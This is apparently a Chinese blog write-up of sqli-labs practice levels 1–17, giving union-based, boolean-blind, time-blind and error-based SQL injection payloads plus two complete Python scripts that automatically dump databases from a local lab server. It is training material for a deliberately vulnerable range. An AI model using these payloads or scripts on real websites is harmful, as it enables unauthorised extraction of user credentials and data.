sqlilabs靶场1-17关学习

Less-1

判断是否存在sql注入
1' or 1=1
提示有报错

1' or 1=1--+
和输入1的效果一样,字符型

判断列数

1' order by 4--+
显示不知名的列

1' order by 3--+

回显正常,说明就是3列

把1改成-1,看一下显示位,2,3列可以回显

-1' union select 1,2,3--+

查询当前数据库,当前数据库为security

-1' union select 1,2,database()--+

查询所有数据库
-1' union select 1,2,group_concat(schema_name)%20from%20information_schema.schemata--+

查询security数据库的所有表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询user表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询数据

-1' union select 1,(select group_concat(username) from `users`),(select group_concat(password) from `users`)--+

Less-2

判断是否存在sql注入
1' or 1=1
有报错

尝试1 or 1=1

正常回显,数字型

依旧是3列

其他跟第一关一样

Less-3

判断是否存在sql注入
1'

发现报错里还有一个右括号,加上右括号

1'),再加上注释符即可

1')--+

判断列数,还是3个
1') order by 4--+

接下来差不多

-1') union select 1,2,3--+
-1') union select 1,database(),version()--+
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1') union select 1,(select group_concat(username) from `users`),(select group_concat(password) from `users`)--+

Less-4

判断是否存在sql注入
输入1',正常回显

输入1",出现报错,还有个括号,加括号和注释符

输入1"--+

接下来都一样

-1") union select 1,2,3--+
-1") union select 1,database(),version()--+
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1") union select 1,(select group_concat(username) from `users`),(select group_concat(password) from `users`)--+

Less-5

输入1',有报错

加上注释符
1'--+,正常回显,但是没有回显的位置,语句正确就会有You are in的界面,否则要么是语句报错,要么就是没有You are in 这句话,所以采用布尔盲注

import requests

url = "http://192.168.20.128:8081/Less-5/?id=1'"
database = ''
s = requests.session()


# 获取数据库长度
def database_length(url):
    for length in range(1, 20):
        response = s.get(url=f"{url} and length(database())={length}--+")
        if "You are in" in response.text:
            print("数据库长度为:", length)
            return length

# 获取数据库名

def database_name(url, len):
    database = ''
    for i in range(1, len+1):
        left = 32
        right = 128
        mid = 0
        while left <= right:
            mid = (left + right) // 2
            response = s.get(url=f"{url} and ascii(substring(database(),{i},1))>{mid}--+")
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        database += chr(left)
        print("数据库名字:", database)
    return database

# 获取表的数量
def table_count(url):
    for num in range(20):
        response = s.get(url=f"{url} and (select count(table_name) from information_schema.tables "
                                    f"where table_schema=database())={num}--+")
        if "You are in" in response.text:
            print("数据表数量为:", num)
            return num
# 获取表的长度
def table_length(url,count):
    lengths = []
    for i in range(count):
        for len in range(20):
            response = s.get(url=f"{url} and length(substr((select table_name from information_schema.tables "
                                        f"where table_schema=database() limit {i},1),1))={len}--+")
            if "You are in" in response.text:
                print(f"第{i}个数据表长度为:", len)
                lengths.append(len)
    return lengths

# 获取表名
def table_name(url, num, lengths):
    tables = []
    for num in range(num):
        temp = ''
        for len in range(1,lengths[num]+1):
            left = 32
            right = 128

            while left <= right:
                mid = (left + right) // 2
                response = s.get(url=f"{url} and ascii(substring((select table_name from information_schema.tables "
                                            f"where table_schema=database() limit {num},1),{len},1))>{mid}--+")
                if "You are in" in response.text:
                    left = mid + 1
                else:
                    right = mid - 1
            temp += chr(left)
            print("表名:", temp)
        tables.append(temp)
        print(f"第{num+1}个数据表名字:", tables[num])
    print(f"{num+1}个数据表的名字为:")
    for table in tables:
        print(table)
    return tables

# 获取列的数量
def column_count(url,tables):
    counts = []
    for table in tables:
        for num in range(20):
            response = s.get(url=f"{url} and (select count(column_name) from information_schema.columns "
                                        f"where table_name='{table}')={num}--+")
            if "You are in" in response.text:
                print(f"{table}表有{num}个字段")
                counts.append(num)
    return counts

# 获取列的长度
def column_length(url,tables,counts):
    lengths = {}
    y = 0
    for table in tables:
        lengths[f"{table}"] = []
        y += 1
        for i in range(counts[y-1]):
            for len in range(20):
                response = s.get(url=f"{url} and length(substr((select column_name from information_schema.columns "
                                            f"where table_name='{table}' limit {i},1),1))={len}--+")
                if "You are in" in response.text:
                    lengths[f"{table}"].append(len)
    for table, lens in lengths.items():
        for idx, len in enumerate(lens, start=1):
            print(f"{table}数据表第{idx}字段的长度为{len}")
    return lengths

# 获取列的名字
def column_name(url,columns_lengths):
    columns = {}
    for table, lens in columns_lengths.items():
        columns[f"{table}"] = []
        for idx, len in enumerate(lens):
            temp = ''
            for length in range(1, len+1):
                left = 32
                right = 128

                while left <= right:
                    mid = (left + right) // 2
                    response = s.get(
                        url=f"{url} and ascii(substring((select column_name from information_schema.columns "
                            f"where table_name='{table}' limit {idx},1),{length},1))>{mid}--+")
                    if "You are in" in response.text:
                        left = mid + 1
                    else:
                        right = mid - 1
                temp += chr(left)
            columns[f"{table}"].append(temp)
    for table, names in columns.items():
        for idx, name in enumerate(names, start=1):
            print(f"{table}数据表第{idx}字段的为{name}")

    return columns

# 获取列的每个内容的长度
def data_len(url,columns):
    lengths = {}
    for table, names in columns.items():
        lengths[table] = {}
        for idx, name in enumerate(names):
            lengths[table][name] = []
            for row in range(15):
                for len in range(1, 30):
                    response = s.get(
                        url=f"{url} and length((select {name} from `{table}` limit {row},1))={len}--+")
                    if "You are in" in response.text:
                        print(f"{table} 数据表中 {name} 字段的数据长度为:{len}")
                        lengths[f"{table}"][name].append(len)
    for table, name_dict in lengths.items():
        for name, length in name_dict.items():
            print(f"{table} 数据表中 {name} 字段的数据长度为:{length}")
    return lengths

# 获取列的内容
def data(url,data_length):
    datas = {}
    for table, name_dict in data_length.items():
        datas[table] = {}
        for name, length in name_dict.items():
            datas[table][name] = []
            for idx, x in enumerate(length):
                temp = ''
                for length1 in range(1, x+1):
                    left = 32
                    right = 128

                    while left <= right:
                        mid = (left + right) // 2
                        response = s.get(
                            url=f"{url} and ascii(substr((select {name} from `{table}` limit {idx},1),{length1},1))>{mid}--+")
                        if "You are in" in response.text:
                            left = mid + 1
                        else:
                            right = mid - 1
                    temp += chr(left)
                print(temp)
                datas[f"{table}"][name].append(temp)
    for table1, name_dict in datas.items():
        for name1, data_list in name_dict.items():
            for idx1, value in enumerate(data_list, start=1):
                print(f"{table1}数据表{name1}字段的第{idx1}内容为{value}")

    return datas

# 数据库长度
len1 = database_length(url)

# 数据库名字
database_name(url, len1)

# 数据表数量
num = table_count(url)

# 数据表长度
lengths = table_length(url, num)

# 数据表名字
tables = table_name(url, num, lengths)

# 字段数量
counts = column_count(url, tables)

# 字段长度
columns_lengths = column_length(url, tables, counts)

# 字段名
columns = column_name(url, columns_lengths)

# 字段内容长度
data_length = data_len(url, columns)
# 数据
data(url, data_length)


'''
获取字段内容的函数data
datas的数据结构类似如下字典结构
datas{
    "users":{
        "username":["admin1","admin2"],
        "password":["admin1","admin2"]
    }
    "emails":{
        "id":[1,2,3,4],
        "email:["12@qq.com","fsdf@qq.com"]
    }
}

获取字段内容长度的函数data_len
其中的length数据结构
length{
    "users":{
        "username":[2,3,6,9,12],
        "password":[5,13,2,5]
    }
    "emails":{
        "id":[1,1,1,1,2],
        "email":[3,4,6,12]
    }
}


'''

Less-6

依旧是布尔盲注,只不过是1"--+才能正常回显

Less-7

正常回显

输入1' ,有报错,但没有具体报错

输入1",可以正常回显,判断是单引号注入

尝试加入注释符
1'--+,有报错

尝试加了括号,加两个括号时,可以正常回显,剩下就跟前面一样,布尔盲注

Less-8

输入1'--+正常回显,然后布尔盲注

Less-9

时间盲注

输入1' and sleep(3)--+,响应时间为3秒,存在时间盲注

获取数据库长度
1' and if(length(database())={length},sleep(3),0)--+

获取数据库名
1' and if(ascii(substring(database(),0,1))>20,sleep(3),0)--+

获取表的数量
1' and if((select count(table_name) from information_schema。tables where table_schema=database())=3,sleep(3),0)--+

获取表的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=20,sleep(3),0)--+

获取表名
1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>50,sleep(3),0)--+

获取字段数量
1' and if((select count(column_name) from information_schema.columns where table_name='users')=3,sleep(3),0)--+

获取字段长度
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=5,sleep(3),0)--+

获取字段名
1' and if(ascii(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>50,sleep(3),0)--+

获取字段内容的长度
1' and if(length((select username from `users` limit 0,1))=20,sleep(3),0)--+

获取字段内容
1' and if(ascii(substr((select username from `users` limit 0,1),1,1))>50,sleep(3),0)--+

自动化脚本

import requests

url = "http://192.168.20.128:8081/Less-9/?id=1'"
database = ''
s = requests.session()


# 获取数据库长度
def database_length(url):
    for length in range(1, 20):
        response = s.get(url=f"{url} and if(length(database())={length},sleep(3),0)--+")
        if response.elapsed.total_seconds() > 3:
            print("数据库长度为:", length)
            return length

# 获取数据库名

def database_name(url, len):
    database = ''
    for i in range(1, len+1):
        left = 32
        right = 128
        mid = 0
        while left <= right:
            mid = (left + right) // 2
            response = s.get(url=f"{url} and if(ascii(substring(database(),{i},1))>{mid},sleep(3),0)--+")
            if response.elapsed.total_seconds() > 3:
                left = mid + 1
            else:
                right = mid - 1
        database += chr(left)
        print("数据库名字:", database)
    return database

# 获取表的数量
def table_count(url):
    for num in range(20):
        response = s.get(url=f"{url} and if((select count(table_name) from information_schema.tables "
                                    f"where table_schema=database())={num},sleep(3),0)--+")
        if response.elapsed.total_seconds() > 3:
            print("数据表数量为:", num)
            return num
# 获取表的长度
def table_length(url,count):
    lengths = []
    for i in range(count):
        for len in range(20):
            response = s.get(url=f"{url} and if(length(substr((select table_name from information_schema.tables "
                                        f"where table_schema=database() limit {i},1),1))={len},sleep(3),0)--+")
            if response.elapsed.total_seconds() > 3:
                print(f"第{i+1}个数据表长度为:", len)
                lengths.append(len)
    return lengths

# 获取表名
def table_name(url, num, lengths):
    tables = []
    for num in range(num):
        temp = ''
        for len in range(1,lengths[num]+1):
            left = 32
            right = 128

            while left <= right:
                mid = (left + right) // 2
                response = s.get(url=f"{url} and if(ascii(substring((select table_name from information_schema.tables "
                                            f"where table_schema=database() limit {num},1),{len},1))>{mid},sleep(3),0)--+")
                if response.elapsed.total_seconds() > 3:
                    left = mid + 1
                else:
                    right = mid - 1
            temp += chr(left)
            print("表名:", temp)
        tables.append(temp)
        print(f"第{num+1}个数据表名字:", tables[num])
    print(f"{num+1}个数据表的名字为:")
    for table in tables:
        print(table)
    return tables

# 获取列的数量
def column_count(url,tables):
    counts = []
    for table in tables:
        for num in range(20):
            response = s.get(url=f"{url} and if((select count(column_name) from information_schema.columns "
                                        f"where table_name='{table}')={num},sleep(3),0)--+")
            if response.elapsed.total_seconds() > 3:
                print(f"{table}表有{num}个字段")
                counts.append(num)
    return counts

# 获取列的长度
def column_length(url,tables,counts):
    lengths = {}
    y = 0
    for table in tables:
        lengths[f"{table}"] = []
        y += 1
        for i in range(counts[y-1]):
            for len in range(20):
                response = s.get(url=f"{url} and if(length(substr((select column_name from information_schema.columns "
                                            f"where table_name='{table}' limit {i},1),1))={len},sleep(3),0)--+")
                if response.elapsed.total_seconds() > 3:
                    lengths[f"{table}"].append(len)
    for table, lens in lengths.items():
        for idx, len in enumerate(lens, start=1):
            print(f"{table}数据表第{idx}字段的长度为{len}")
    return lengths

# 获取列的名字
def column_name(url,columns_lengths):
    columns = {}
    for table, lens in columns_lengths.items():
        columns[f"{table}"] = []
        for idx, len in enumerate(lens):
            temp = ''
            for length in range(1, len+1):
                left = 32
                right = 128

                while left <= right:
                    mid = (left + right) // 2
                    response = s.get(
                        url=f"{url} and if(ascii(substring((select column_name from information_schema.columns "
                            f"where table_name='{table}' limit {idx},1),{length},1))>{mid},sleep(3),0)--+")
                    if response.elapsed.total_seconds() > 3:
                        left = mid + 1
                    else:
                        right = mid - 1
                temp += chr(left)
            columns[f"{table}"].append(temp)
    for table, names in columns.items():
        for idx, name in enumerate(names, start=1):
            print(f"{table}数据表第{idx}字段的为{name}")

    return columns

# 获取列的每个内容的长度
def data_len(url,columns):
    lengths = {}
    for table, names in columns.items():
        lengths[table] = {}
        for idx, name in enumerate(names):
            lengths[table][name] = []
            for row in range(15):
                for len in range(1, 30):
                    response = s.get(
                        url=f"{url} and if(length((select {name} from `{table}` limit {row},1))={len},sleep(3),0)--+")
                    if response.elapsed.total_seconds() > 3:
                        print(f"{table} 数据表中 {name} 字段的数据长度为:{len}")
                        lengths[f"{table}"][name].append(len)
    for table, name_dict in lengths.items():
        for name, length in name_dict.items():
            print(f"{table} 数据表中 {name} 字段的数据长度为:{length}")
    return lengths

# 获取列的内容
def data(url,data_length):
    datas = {}
    for table, name_dict in data_length.items():
        datas[table] = {}
        for name, length in name_dict.items():
            datas[table][name] = []
            for idx, x in enumerate(length):
                temp = ''
                for length1 in range(1, x+1):
                    left = 32
                    right = 128

                    while left <= right:
                        mid = (left + right) // 2
                        response = s.get(
                            url=f"{url} and if(ascii(substr((select {name} from `{table}` limit {idx},1),{length1},1))>{mid},"
                                f"sleep(3),0)--+")
                        if response.elapsed.total_seconds() > 3:
                            left = mid + 1
                        else:
                            right = mid - 1
                    temp += chr(left)
                print(temp)
                datas[f"{table}"][name].append(temp)
    for table1, name_dict in datas.items():
        for name1, data_list in name_dict.items():
            for idx1, value in enumerate(data_list, start=1):
                print(f"{table1}数据表{name1}字段的第{idx1}内容为{value}")

    return datas

# 数据库长度
len1 = database_length(url)

# 数据库名字
database_name(url, len1)

# 数据表数量
num = table_count(url)

# 数据表长度
lengths = table_length(url, num)

# 数据表名字
tables = table_name(url, num, lengths)

# 字段数量
counts = column_count(url, tables)

# 字段长度
columns_lengths = column_length(url, tables, counts)

# 字段名
columns = column_name(url, columns_lengths)

# 字段内容长度
data_length = data_len(url, columns)
# 数据
data(url, data_length)


'''
获取字段内容的函数data
datas的数据结构类似如下字典结构
datas{
    "users":{
        "username":["admin1","admin2"],
        "password":["admin1","admin2"]
    }
    "emails":{
        "id":[1,2,3,4],
        "email:["12@qq.com","fsdf@qq.com"]
    }
}

获取字段内容长度的函数data_len
其中的length数据结构
length{
    "users":{
        "username":[2,3,6,9,12],
        "password":[5,13,2,5]
    }
    "emails":{
        "id":[1,1,1,1,2],
        "email":[3,4,6,12]
    }
}


'''

Less-10

双引号时间盲注

输入1" and sleep(3)--+,响应差不多3s,然后跟第9关一样的时间盲注

Less-11

输入1'有报错,输入1' and 1=1--+,依然有报错

换成1' and 1=1#或者1' and 1=1-- 都可以

接下来就是正常的联合注入

uname=1' order by 2-- &passwd=

uname=1' union select database(),2-- &passwd=

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'-- &passwd=

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- &passwd=

uname=1' union select 1,group_concat(username) from `users`-- &passwd=

Less-12

输入1'没有反应
输入1",出现报错,看报错还有括号,加上去,再加上注释符

尝试and 1=1--,没回显没报错,改成or 1=1
输入uname=1") or 1=1-- &passwd=

uname=1") order by 3-- &passwd=

uname=1") union select 1,2-- &passwd=

uname=1") union select 1,database()-- &passwd=

uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'-- &passwd=

uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- &passwd=

uname=1") union select 1,group_concat(username) from `users`-- &passwd=

Less-13

输入uname=1') and 1=1-- &passwd=,回显登录失败

uname=1') or 1=1-- &passwd=,回显登录成功

没有回显,只有成功和失败的界面,将前面的布尔盲注改成post型即可

Less-14

改成双引号的
uname=1" or 1=1-- &passwd=

Less-15

单引号布尔盲注

uname=1' or 1=1-- &passwd=

Less-16

加个双引号括号
uname=1") or 1=1-- &passwd=

Less-17

报错注入

一开始在username位置尝试,以为是过滤了,发现输入1,也一直说是hacker,看了一下界面,是重置密码的界面,且用户名也已经给了,所以只能在密码位置尝试

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x5c,database(),0x5c))--+

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c))--+

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x5c))--+

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x5c,(select mid(group_concat(username),1,40) from (select * from users)as t),0x5c))--+

一开始在查字段的时候,有点问题,因为mysql不支持更新和查询是同一个表,可能是因为这是重置密码的功能,执行语句都会更新users表,对一个正在更新的表无法进行查询,通过创建一个临时表解决

uname=Dhakkan&passwd=1' and extractvalue(1,concat(0x5c,(select group_concat(username) from (select * from users)as t),0x5c))--+

发现没有显示全,5c就是\,只有当两边都是\的时候,才是爆全了,用mid函数解决

posted @ 2025-06-04 13:12  Hu1j  阅读(47)  评论(0)    收藏  举报